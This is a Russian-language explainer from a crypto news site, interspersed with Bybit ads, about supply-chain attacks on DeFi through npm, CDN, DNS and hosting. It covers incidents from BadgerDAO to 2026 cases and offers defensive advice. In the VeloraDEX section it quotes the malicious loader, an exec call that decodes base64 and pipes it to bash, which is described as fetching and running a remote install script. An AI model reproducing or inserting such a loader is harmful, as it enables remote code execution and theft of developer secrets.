Supply chain атаки в DeFi: как хакеры грабят через доверенную инфраструктуру

Коротко (TL;DR)

Supply chain атака — это взлом инфраструктуры, которой доверяет DeFi-протокол: npm-пакет, CDN, DNS, хостинг фронтенда или сторонний подрядчик. Смарт-контракты при этом остаются чистыми. Злоумышленник меняет параметры транзакции до того, как вы нажмёте «Подписать» — и вы отправляете деньги хакеру, думая, что всё в порядке.

Главное для пользователя: всегда проверяйте адрес назначения и сумму в самом кошельке, а не только в интерфейсе сайта. Если параметры не совпадают — отменяйте.

Ниже — механика атаки, три её вектора и разбор семи реальных инцидентов 2021–2026 (от BadgerDAO на $120M до волны npm-взломов 2026 года), а затем конкретные шаги защиты.

Что такое supply chain атака в крипто

Слово «цепочка поставок» пришло из промышленности: если в автомобиле сломан один поставляемый компонент, это бьёт по всему конвейеру. В крипто то же самое, только компонент — это код.

BYBIT · RWA$100M GiveawayТоргуй акциями, золотом и нефтью. Крути Lucky Draw — до $1000 в NVDA xStock.Забрать шанс →

Простая аналогия: вы делаете заказ в ресторане, который закупает продукты у проверенного поставщика. Но поставщика взломали и подложили некачественный ингредиент. Шеф-повар не знает, вы не знаете — и отравление происходит не в ресторане, а ещё на складе.

Холодный кошелёк для криптовалюты: виды, настройка и риски

США впервые взяли под контроль выпуск топовых AI-моделей: от Project Glasswing до GPT-5.6

Polymarket взломан через подрядчика: хакеры похитили ~$3 млн, возврат обещан

Ты не инсайдер — ты «выходная ликвидность»: как распознать накачку токена и не попасть

MemeCore обвалился на 80%: $3 млрд испарились без взлома

В DeFi «ресторан» — это протокол или кошелёк, «поставщик» — npm-пакет, CDN-сервер, DNS-регистратор, хостинг фронтенда или агентство-разработчик. Схематично цепочка выглядит так:

DeFi-протокол → тянет npm-библиотеку (или скрипт с CDN)
Пользователь → открывает фронтенд → подписывает транзакцию

Если хакер компрометирует звено «npm-библиотека» или «CDN-сервер», он получает доступ к каждому пользователю каждого протокола, который использует это звено — без взлома самого протокола.

Чем это отличается от обычного взлома контракта

Большинство людей думают: «аудит прошёл — значит безопасно». Это верно для самого контракта. Но supply chain атака работает поверх контракта:

Аудит смарт-контрактов проверяет, правильно ли исполняется код контракта. Он не проверяет npm-пакеты, CDN-серверы, DNS-записи или инфраструктуру выше по стеку.

Жизненный цикл атаки: 5 этапов

Классическая цепочка выглядит так (на основе анализа реальных инцидентов):

Этап 1 — Захват точки в инфраструктуре Атакующий находит уязвимость в зависимости: взламывает аккаунт npm-мейнтейнера, получает API-ключ CDN-сервиса, угоняет DNS-запись, компрометирует стороннего разработчика. Контракт не трогается.

Bybit · Rewards Hubдо $30,100Внеси депозит, торгуй 14 дней — и забери награды в Rewards HubЗабрать бонус →

Этап 2 — Тихое распространение Вредоносный код автоматически распространяется на все протоколы и пользователей, которые тянут эту зависимость. Без предупреждений, без видимых изменений.

Этап 3 — Подмена параметров транзакции Когда вы инициируете транзакцию, вредоносный код перехватывает её в браузере — меняет адрес назначения, расширяет разрешение на токены, изменяет сумму. Интерфейс сайта показывает вам «честную» транзакцию, кошелёк просит подписать уже изменённую.

Этап 4 — Пользователь подписывает С точки зрения блокчейна транзакция валидна: вы сами её подписали. Это и есть главная ловушка — юридически и технически вы «согласились».

Этап 5 — Извлечение средств Деньги уходят на кошелёк атакующего. Смарт-контракт исполнился как задуман. Компрометация обнаруживается уже после потерь.

Три вектора атаки: npm, CDN и хостинг

У жизненного цикла выше есть три основных «точки входа» — три способа, которыми вредоносный код попадает к пользователю. Каждый отвечает за свою группу реальных инцидентов:

Чем эти векторы коварны изнутри:

Registry-only poisoning (npm/PyPI). Атакующий получает доступ к аккаунту мейнтейнера → публикует новую версию пакета с вредоносным кодом → все, кто подтягивают зависимость (разработчики, CI/CD, торговые боты), исполняют payload. Главный неочевидный момент: GitHub-репозиторий может быть полностью чистым. Атака живёт в разрыве между git push и npm publish — между тем, что в исходниках, и тем, что в опубликованном архиве пакета. Стандартный аудит репозитория такую подмену не видит.

CDN / frontend injection. Протоколы подключают библиотеки с CDN, чтобы не обновлять свой код при каждом патче зависимости. Удобно — и опасно: если CDN-версия скомпрометирована, все пользователи всех dApp, которые её грузят, мгновенно получают вредоносный код при следующем открытии сайта. Своего кода менять не нужно — заражение приходит само.

Hosting provider attack. Если атакующий получает доступ к деплою хостинга, он может внедрить вредоносный код прямо в опубликованный фронтенд. Особенность: OAuth-токены доступа не аннулируются при смене пароля жертвы, поэтому компрометация может тянуться месяцами незаметно.

Семь громких инцидентов 2021–2026

BadgerDAO — декабрь 2021, $120M

2 декабря 2021 года пользователи BadgerDAO начали замечать, что их одобрения токенов уходят на посторонний адрес. Уязвимость была не в протоколе.

Атакующий получил API-ключ Cloudflare — сервиса защиты и CDN, который использовал BadgerDAO. Ключ был создан без ведома разработчиков проекта. С его помощью злоумышленник периодически, по расписанию, внедрял вредоносный JavaScript-фрагмент — код появлялся и исчезал, что затрудняло обнаружение. Атака шла несколько недель, скрипт подсовывали постепенно, а жертв отбирали по максимальному балансу. Скрипт перенаправлял одобрения токенов (token approvals) с кошельков пользователей на адрес атакующего.

По данным CoinDesk (на 10 декабря 2021 года), хакер вывел $130M в токенах — $120M потеряно безвозвратно, ещё ~$9M удалось заморозить в хранилищах, так как средства не успели уйти с vault-контрактов. Команда привлекла Mandiant и Chainalysis, а также обратилась в американские и канадские правоохранительные органы. Cloudflare-эксплойт закрыли, API-ключи ротировали — но деньги не вернули.

Почему аппаратный кошелёк не спас. Пользователи с Ledger или Trezor видели на экране запрос подписи, но без ясной подписи (clear signing) не понимали, что именно подписывают. Читаемые параметры транзакции отображались только в интерфейсе браузера — а он уже был скомпрометирован.

Масштаб потерь стал возможен именно из-за механики одобрений (approvals): многие пользователи ранее выдали протоколу безлимитный доступ к своим токенам. Этот approval продолжал работать даже у тех, кто ни разу не зашёл на сайт в день атаки. Регулярный аудит и отзыв устаревших разрешений — один из ключевых уроков инцидента. Подробнее о том, как работают approvals и где их отзывать, — в нашем гайде по безопасности кошелька.

Урок: инфраструктура — это тоже поверхность атаки. CDN, cloud-платформы, DDoS-защита — всё это требует аудита доступов не реже, чем смарт-контракт.

Curve Finance — август 2022, $612K

9 августа 2022 года DNS-запись curve.fi была взломана и начала указывать на клон сайта с вредоносным кодом. Пользователи, заходившие по привычному адресу, видели оригинальный интерфейс — но код запрашивал одобрение токенов на непроверенный контракт.

По данным CertiK (на 10 августа 2022 года): 7 уникальных жертв, $612 724 в USDC и DAI. Украденные средства конвертировали через децентрализованные платформы — часть удалось заморозить благодаря оперативным действиям сервисов. CertiK подтвердил закрытие вектора атаки в течение нескольких часов после обнаружения.

Урок: HTTPS и оригинальный адрес — не гарантия. DNS-взлом делает настоящий адрес опасным.

Ledger Connect Kit — декабрь 2023, $484K–$610K

Ledger Connect Kit — это JavaScript-библиотека (@ledgerhq/connect-kit), через которую десятки dApp подключают кошельки Ledger. 14 декабря 2023 года её npm-пакет был скомпрометирован.

С помощью фишинга атакующий получил доступ к аккаунту бывшего сотрудника Ledger, который сохранял права на публикацию пакета в npm: этот доступ так и не отозвали после увольнения — автоматическое отключение аккаунтов при офбординге не охватывало внешние инструменты вроде npm. Одна упущенная строка в чек-листе увольнения открыла вектор атаки.

Злоумышленник опубликовал версии 1.1.5, 1.1.6 и 1.1.7 с встроенным wallet drainer — Angel Drainer, дрейнер «как сервис» (malware-as-a-service) для EVM-сетей, который автоматически создаёт транзакции на вывод средств. Схема дохода атакующих была типичной для MaaS: 85% — эксплойтеру, 15% — сервису Angel Drainer.

Почему масштаб был таким большим? Дело в символе ^ в файлах зависимостей JavaScript. Запись ^1.1.4 в package.json означает: «автоматически подтягивай любую следующую совместимую версию» — то есть 1.1.5, 1.1.6 и т.д. Разработчики делают так для удобства. Но при supply chain атаке именно этот символ становится вектором: как только выходит вредоносная 1.1.5, все проекты с ^1.1.4 подтягивают её при следующей сборке или CDN-запросе. Любой DeFi-сайт, подключавший Connect Kit с CDN без фиксации точной версии, автоматически получил вредоносный код. Пострадали Sushi, Lido, Zapper, Revoke.cash, Kyber Network и другие.

Хронология была быстрой: всего ~5 часов от компрометации до устранения, активного дрейна — менее 2 часов; Tether успела заморозить USDT на адресе атакующего. По официальным данным Ledger потери составили около $484K, по независимой оценке safeguard.sh — около $610K с учётом транзакций с задержкой. CDN-кэш продолжал раздавать вредоносные версии ещё какое-то время после развёртывания чистой.

Payload работал особенно хитро: менял параметры транзакции до подписи в кошельке. Пользователь видел в интерфейсе одно, а устройство Ledger подписывало другое — это и есть «слепая подпись» (blind signing), о которой ниже.

Урок: уволенный сотрудник с непогашенным доступом = незакрытая уязвимость, а пиннинг версий npm — не опция, а минимальная гигиена.

dYdX — npm + PyPI, февраль 2026

6 февраля 2026 года команда Socket Security обнаружила, что официальные пакеты dYdX сразу в двух реестрах скомпрометированы:

• npm (@dydxprotocol/v4-client-js) — вредоносная версия крала credential кошелька;
• PyPI (dydx-v4-client) — помимо кражи credential, содержала RAT (Remote Access Trojan) для полного удалённого доступа к машине.

Оба пакета были опубликованы от имени доверенных мейнтейнеров — то есть пришли с официальных аккаунтов dYdX в реестрах, при этом GitHub-репозиторий оставался чистым. Классический registry-only вектор. dYdX публично признал инцидент и рекомендовал: изолировать заражённые машины, перевести средства на новые кошельки, ротировать все API-ключи.

VeloraDEX SDK — registry-only, апрель 2026

7 апреля 2026 года в 19:03 UTC на npm опубликовали версию @velora-dex/sdk@9.4.1. VeloraDEX (бывший ParaSwap) — DEX-агрегатор с $100+ млрд исторического объёма; его SDK используют кошельки, торговые боты и dApp.

Механика: три строки кода были дописаны в начало dist/index.js — основного файла пакета. GitHub-репозиторий оставался абсолютно чистым: атакующий изменил только архив (tarball) в npm-реестре, не трогая исходники.

const {exec} = require('child_process');
exec(`echo 'bm9odXAg...' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function() {});

Декодированный payload скачивал install.sh с сервера в Бухаресте (M247 Europe, AS9009) через curl и запускал его через bash с nohup. Почему это особенно опасно:

• код запускался при каждом импорте пакета (не только при установке) — то есть охватывал CI/CD, торговые боты, каждый перезапуск сервера;
• флаг --ignore-scripts (стандартная защита npm) не блокировал payload: он отключает только postinstall-хуки, но не код в dist/index.js;
• исходник на GitHub выглядел чистым, поэтому обычный аудит репозитория атаку не находил.

Версию заметили примерно через 3 часа (GitHub Issue #233 в 21:51 UTC), пометили deprecated, но удалили не сразу.

Vercel — инфраструктурный вектор, апрель 2026

19 апреля 2026 года Vercel раскрыл атаку: скрытое проникновение в инфраструктуру тянулось около 22 месяцев — то есть началось ещё в 2024 году. Vercel — один из главных хостингов DeFi-фронтендов: на нём через Next.js деплоятся Uniswap, SushiSwap, Compound, Aave и многие другие.

Финальная цепочка, которая в феврале 2026 года дала атакующим доступ к аккаунту Vercel, показательна тем, как далеко от крипты может начинаться:

1. Февраль 2026: сотрудник Context.ai (AI-инструмент для продуктивности) заразился Lumma Stealer через читы к Roblox.
2. Малварь похитила Google Workspace credentials, токены Supabase и Datadog.
3. Вредоносное Chrome-расширение получило полный доступ к Google Drive жертвы.
4. Сотрудник Vercel ранее подключил рабочий Google-аккаунт к Context.ai с разрешением «Allow All» — и атакующий через OAuth-токен зашёл в его аккаунт Vercel без пароля (OAuth-токены переживают смену пароля).

Что похищено: переменные среды клиентов (API-ключи RPC-провайдеров, GitHub-токены, NEXTAUTH_SECRET, строки подключения к БД), части исходного кода, данные 580 сотрудников. Требование — $2 млн в Bitcoin (атрибуцию к ShinyHunters сама группа оспаривает). Vercel подтвердил, что npm-пакеты (Next.js, Turbopack) не скомпрометированы, а прямого взлома DeFi-кошельков не зафиксировано. Но если бы атакующие получили GitHub-токены деплоя, они могли бы внедрить вредоносный код во фронтенд и запустить автодеплой — поэтому кейс попал в этот список как «несработавший выстрел» по всей экосистеме.

Polymarket — июнь 2026, ~$3M

Свежий кейс: в конце июня 2026 года маркетплейс прогнозов Polymarket потерял около $3M у менее чем 15 пользователей (по данным Decrypt на 25 июня 2026 года). Вектор — компрометация стороннего подрядчика, получившего доступ к фронтенду; через него внедрили вредоносный скрипт.

Это уже второй инцидент за два месяца: в мае 2026 года Polymarket потерял $700K через компрометацию кошелька сотрудника. Сигнал: предсказательные рынки превращаются в приоритетную цель — крупные кошельки, высокая активность и часто более слабые процедуры безопасности, чем у топ-DEX.

Слепая и ясная подпись: почему hardware wallet не всегда спасает

Многие думают: «у меня Ledger — я в безопасности». Это не всегда так.

Слепая подпись (blind signing) — это когда кошелёк показывает только шестнадцатеричные данные транзакции или краткое описание без деталей. Вы нажимаете «Подтвердить», не видя реального адреса назначения, суммы или того, какой ERC-20 approval выдаёте.

При supply chain атаке малварь подменяет параметры ещё в браузере — до того, как данные уходят в кошелёк. Кошелёк честно показывает то, что получил: уже изменённую транзакцию. Если вы её не читаете — вы подписываете кражу.

Ясная подпись (clear signing) — современный стандарт (EIP-712, реализован в новых прошивках Ledger и поддерживается через плагины): кошелёк показывает полные человекочитаемые детали — конкретный адрес, точную сумму, лимит approval. При таком формате подмена видна сразу.

Почему это особенно опасно именно в DeFi

В традиционной кибербезопасности компрометация инфраструктуры — это утечка данных или временная потеря доступа к сервису. В DeFi последствие другое: кража средств необратима.

Нет кнопки «отменить транзакцию». Нет службы поддержки, которая заморозит счёт. Нет страховки вкладов. Как только приватный ключ или seed-фраза попадают к атакующему — средства уходят за секунды. Если вы только знакомитесь с тем, как устроены децентрализованные биржи, начните с нашего объяснителя о DEX: как работает AMM, что такое impermanent loss и как безопасно пользоваться dApp.

Отдельно уязвимы разработчики DeFi — их рабочие среды содержат:

• приватные ключи кошельков с реальными средствами (для тестов и торговых ботов);
• seed-фразы в переменных среды;
• ключи RPC-провайдеров (Alchemy, Infura);
• GitHub-токены с правами деплоя.

Одна скомпрометированная зависимость = доступ ко всему этому. Поэтому атакующие всё чаще целятся не в пользователя напрямую, а в разработчика и его инфраструктуру.

Как защититься пользователю: 6 правил

1. Всегда проверяйте данные в самом кошельке, а не в интерфейсе сайта

Главный принцип. Перед подписью читайте: адрес назначения, сумму токенов и размер approval. Если в кошельке что-то другое, чем вы видите на сайте, — немедленно отменяйте. Для ERC-20 approve отдельно сверяйте адрес spender и сумму: безлимитное одобрение (максимальное число) — красный флаг.

2. Используйте кошельки с поддержкой clear signing

Для регулярной работы с DeFi выбирайте кошельки и протоколы с поддержкой EIP-712 и человекочитаемых деталей транзакции. Это не гарантия, но сильно снижает риск незаметной подмены.

3. Не давайте безлимитные approvals

Многие протоколы запрашивают безлимитное одобрение («Approve unlimited»). Это удобно, но критически опасно: один скомпрометированный сайт через такой approval может опустошить всё, что в нём есть, — даже если вы больше туда не заходите. Устанавливайте точную нужную сумму.

Регулярно проверяйте и отзывайте ненужные approvals. Пошаговый разбор — как проверить активные разрешения и безопасно их закрыть — в нашем гайде по approvals и безопасности кошелька.

4. Не торопитесь при крупных транзакциях

Атаки работают на внимание и спешку. Перед большим переводом или стейкингом сделайте паузу, откройте свежее приватное окно, проверьте URL и дважды сверьте данные в кошельке.

5. Следите за официальными каналами протоколов

При инциденте команды предупреждают в Discord, X (Twitter) и Telegram; быстрые алерты дают и аккаунты безопасности — PeckShield, CertiK Alerts, BlockSec. Во время кризиса не делайте никаких транзакций с протоколом, пока не прочитаете официальное подтверждение об устранении. Именно это помогло бы многим жертвам Ledger и Curve Finance.

6. Не храните всё в одном кошельке

Разделяйте: основной холодный кошелёк — для долгосрочного хранения, отдельный «рабочий» горячий — для DeFi с ограниченной суммой. Если рабочий скомпрометирован через supply chain атаку, потеря ограничена этой суммой, а не всем капиталом. Как правильно организовать хранение и почему seed-фраза важнее самого устройства — в гайде по безопасному хранению seed-фразы.

Для трейдинга на надёжной CEX уязвимость фронтенда не затрагивает ваши средства напрямую — биржи изолируют клиентские активы. На Bybit реализованы многоуровневая авторизация и холодные хранилища — это принципиально другой профиль риска по сравнению с самостоятельной работой в DeFi.

Что делают протоколы и разработчики

Защита пользователя — половина дела; вторую половину закрывают команды протоколов. Экосистема реагирует, хоть и медленно:

На уровне npm:

• npm provenance — криптографическая привязка опубликованного артефакта к конкретному GitHub-коммиту. Решает проблему registry-only атак (как с VeloraDEX), но стандарт добровольный, и большинство пакетов его пока не используют (по состоянию на июнь 2026 года).
• Мультиавторизация для публикации пакетов npm пока не поддерживает.

На уровне фронтендов:

• Content Security Policy (CSP) ограничивает, какие домены могут грузить скрипты на страницу, — но практическое внедрение неравномерное.
• Subresource Integrity (SRI) — хеш ресурса прямо в HTML; браузер откажется выполнить изменённую версию. Это могло бы остановить атаку Ledger Connect Kit.

На уровне подписи:

• Clear Signing (Ledger) показывает параметры транзакции на экране устройства, а не в браузере.
• Симуляция транзакций (Tenderly, Blowfish) даёт предпросмотр результата перед подписью.

Для разработчиков:

• пиннинг зависимостей точными версиями (не ^9.4.x, а 9.4.0) и сравнение lockfile-диффа перед апгрейдом;
• изоляция приватных ключей от dev-среды — аппаратные кошельки для всего, что держит реальные средства;
• мониторинг зависимостей (Socket Security, Snyk) с алертами на подозрительные изменения в пакетах.

Кто и чем рискует: участники экосистемы

Supply chain атаки бьют по разным участникам по-разному:

Ключевые термины: что стоит за аббревиатурами

В статьях и документации по теме встречается набор технических терминов. Краткий словарик для не-разработчиков:

SRI (Subresource Integrity) — механизм браузера: разработчик прописывает в коде криптографический хэш каждого внешнего скрипта. При загрузке файла (например, с CDN) браузер пересчитывает хэш и сравнивает; не совпало — файл не запускается. Это остановило бы атаку Ledger: изменённый CDN-файл дал бы другой хэш.

CSP (Content Security Policy) — HTTP-заголовок, которым сайт белым списком указывает браузеру, с каких доменов можно грузить JavaScript. Скрипт с неразрешённого домена блокируется ещё до выполнения.

npm pinning — практика указывать точную версию зависимости (1.1.4), а не диапазон (^1.1.4). Эффективна только в паре с package-lock.json/yarn.lock, который фиксирует весь граф зависимостей.

npm provenance — криптографическое доказательство того, что опубликованный пакет собран из конкретного коммита в репозитории. Закрывает «registry-only» подмену, когда GitHub чист, а в npm лежит вредоносная версия.

Wallet drainer — вредоносный код во фронтенде или npm-пакете; после активации в браузере он модифицирует параметры транзакций или запрашивает approval, дающий атакующему вытягивать средства. Часто продаётся «как сервис» (MaaS, например Angel Drainer).

Риски и честная картина

Supply chain атаки реальны, но паника контрпродуктивна. Несколько уточнений:

Для обычного пользователя риск управляем. Большинство жертв — активные DeFi-трейдеры с большими позициями. Если вы используете крупную биржу или просто покупаете и держите в проверенном кошельке, профиль риска несравнимо ниже.

Отрасль реагирует. Инцидент Ledger ускорил переход на clear signing. Крупные протоколы внедряют SRI и CSP. Появляется npm provenance. Инфраструктура становится безопаснее, хотя и медленно.

Есть риски, о которых редко говорят:

• «Ложная чистота» GitHub: проверять только репозиторий бессмысленно — реестр npm и GitHub разные системы, атака живёт в реестре (dYdX, VeloraDEX).
• CDN как единая точка отказа: Ledger Connect Kit одновременно использовали десятки dApp — одна компрометация мгновенно затронула всех их пользователей.
• Централизация фронтендов: большинство топ-протоколов (Uniswap, SushiSwap, Compound, Aave) хостятся у пары провайдеров (Vercel, Netlify) — это системный риск для всей экосистемы.
• OAuth переживает смену пароля: если злоумышленник получил OAuth-токен через скомпрометированное стороннее приложение, смена пароля его не отзовёт (кейс Vercel).

Аудиты всё равно нужны. Supply chain атаки не отменяют важность аудита смарт-контрактов — это дополнительные слои защиты, не взаимозаменяемые.

FAQ

Чем supply chain атаки отличаются от обычного фишинга?

При фишинге вас обманом заводят на поддельный сайт с другим или похожим доменом. При supply chain атаке вы на настоящем сайте с правильным адресом — но сам сайт заражён изнутри через его зависимость или подрядчика. Это сложнее обнаружить: антивирус молчит, адрес верный, SSL-сертификат настоящий. Защищает только привычка читать параметры транзакции в кошельке, а не доверять интерфейсу сайта.

Поможет ли аппаратный кошелёк (Ledger, Trezor) против таких атак?

Частично. Hardware wallet защищает приватные ключи от извлечения, но не от подмены транзакции до её отправки в устройство. Именно так сработали BadgerDAO и Ledger Connect Kit: кошелёк честно показывал уже изменённые данные. Реальная защита — clear signing (когда устройство показывает человекочитаемые детали) плюс привычка их читать перед подтверждением.

Если GitHub-репозиторий пакета чист, разве он не безопасен?

Нет — это одно из главных заблуждений. dYdX и VeloraDEX показали: атакующий публикует в npm или PyPI версию, которой нет в репозитории. Атака живёт в разрыве между исходниками и опубликованным архивом. Всегда сверяйте версию в реестре с последним тегом на GitHub и по возможности доверяйте пакетам с npm provenance.

Почему --ignore-scripts не помог против атаки VeloraDEX?

--ignore-scripts отключает lifecycle-хуки (postinstall, prepare и т.д.) — то, что запускается при npm install. Вредоносный код VeloraDEX лежал в dist/index.js — файле, который выполняется при import/require пакета, то есть при запуске приложения, а не при установке. На это флаг никак не влияет.

Почему атака на Vercel оставалась незамеченной ~22 месяца?

OAuth-токены не аннулируются при смене пароля. Сотрудник Vercel не знал, что его рабочий Google-аккаунт связан с скомпрометированным сторонним сервисом (Context.ai) с широкими правами. Поэтому периодический пересмотр OAuth-подключений (Google → Security → Third-party apps) — важная гигиена для всех, не только для разработчиков.

Почему предсказательные рынки (Polymarket) стали мишенью в 2026 году?

Крупные пользовательские кошельки, высокая ликвидность и часто более молодая команда безопасности, чем у топ-DEX. Два инцидента за май–июнь 2026 года ($700K и $3M) — не случайность, а паттерн: атакующие выбирают площадки с лучшим соотношением «добыча / сложность взлома».

Что делать, если я только что подписал подозрительную транзакцию?

Действуйте немедленно: (1) откройте Revoke.cash или Etherscan Token Approvals и отзовите все approvals на подозрительный адрес; (2) переведите оставшиеся активы на другой адрес, не контактировавший со скомпрометированным сайтом; (3) проверьте официальные каналы протокола — там уже может быть предупреждение; (4) не делайте новых транзакций с затронутого кошелька, пока не разберётесь.